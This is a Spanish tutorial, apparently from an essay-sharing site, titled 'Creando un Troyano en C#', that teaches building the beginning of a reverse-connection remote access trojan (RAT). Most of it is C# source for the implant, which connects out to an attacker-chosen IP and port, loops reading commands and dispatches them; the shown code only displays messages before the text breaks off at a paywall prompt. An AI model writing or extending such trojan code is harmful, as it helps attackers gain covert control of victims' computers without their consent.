Creando un Troyano en C#

Páginas: 5 (1126 palabras) Publicado: 26 de febrero de 2014
Creando un Troyano en C#
En este tuto voy a enseñar como crear el principio de un RAT de conexion inversa.

En mi caso usaré visual studio ultimate 2012 pero obviamente puede utilizar algun otro IDE.

***************Creando el Servidor*************


Crearemos un servidor muy simple que lo que hará será esperar a que el cliente se conecte esto será mediante un ciclo infinito con unapausa del tiempo que nosotros indiquémos
Abrimos vs y creamos un nuevo proyecto de winform, y dos clases con el nombre que querámos en mi caso el nombre dle proyecto es Server, clase Servidor y Utilidades:



Primero escribiremos la clase servidor

agregamos los NameSpaces que necesitamos, en este caso solo agregarémos 3:
Código:
using System.IO; //Streams
using System.Net.Sockets;//tcpclient
using System.Threading; //Hilos



y nuestra clase quedará de la sig. manera:
Código:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO; //Streams
using System.Net; //IPAdress
using System.Net.Sockets; //tcpclient
using System.Threading; //Hilos

namespace Server
{
    public class Servidor
   {
//variables necesarias para conectarnos al cliente de manera inversa, ademas de escuchar los mensajes de este

        private string ip;
        private int port;
        private TcpClient tcpClient;
        private NetworkStream ns;
        private StreamReader sr;
        private StreamWriter sw;
        private StringBuilder sb;     
       

        public Servidor(string ip,int port)
        {
            this.ip = ip;
            this.port = port;
        }

        private enum mensajes
        {
            CD,
            Mensaje
        }


        public void iniciar(int tiempo)
        {
            EjecutarServidor();
            Thread.Sleep(tiempo);           
        }

        private void EjecutarServidor()
        {
           tcpClient = new TcpClient();
            sb = new StringBuilder();

            if (!tcpClient.Connected)
            {
                try
                {
                    tcpClient.Connect(ip, port);
                    ns = tcpClient.GetStream();
                    sr = new StreamReader(ns);
                    sw = new StreamWriter(ns);

                }
                catch(Exception)
                {
                    return;
                }

                for (; ; )
                {
                    try
                    {
                        sb.Append(sr.ReadLine());
                        LeerDatos(sb.ToString());
                        sb.Remove(0, sb.Length);
                    }
                    catch (Exception)
                   {
                        limpiar();
                        break;
                    }

                }
            }//fin del if 
        }//fin del metodo EjecutarServidor

        private void LeerDatos(string datos)
        {
            string[] cadena = datos.Split('$');

            if (String.Compare(cadena[0], mensajes.Mensaje.ToString()) == 0)
            {                Utilidades.mandarMensaje(cadena[1]);
            }
        }//fin de LeerDatos

        private void limpiar()
        {
            sr.Close();
            sw.Close();
            ns.Close();
        }//fin de limpiar
    }//fin clase servidor
}



Aquí he creado las variables que necesitamos para conectarnos al cliente, esto es la ip y el puerto (esto se hace enel constructor) ademas de un StreamReader que usarémos para escuchar los mensajes que el cliente escriba.

Usé una variable del tipo enum, esto es para validar los mensajes del cliente, esto lo hacemos de la sig forma:

si el cliente escribe por ejemplo "MandarMensaje" el servidor compara ese mensaje con el enum y si son iguales entonces va a realizar alguna tarea que escribamos en la clase...
Leer documento completo

Regístrate para leer el documento completo.

Estos documentos también te pueden resultar útiles

  • C Mo Se Crea Una Norma
  • Creando un thread en c++
  • Creando Juegos con c# y gdi++
  • C mo se cre el Universo
  • Tutorial: crear un programa escrito en c++ estándar (c++)
  • C mo crear una cuenta de iTunes
  • C mo crear programas desatendidos
  • C Mo Crear Un Plan De Trabajo

Conviértase en miembro formal de Buenas Tareas

INSCRÍBETE - ES GRATIS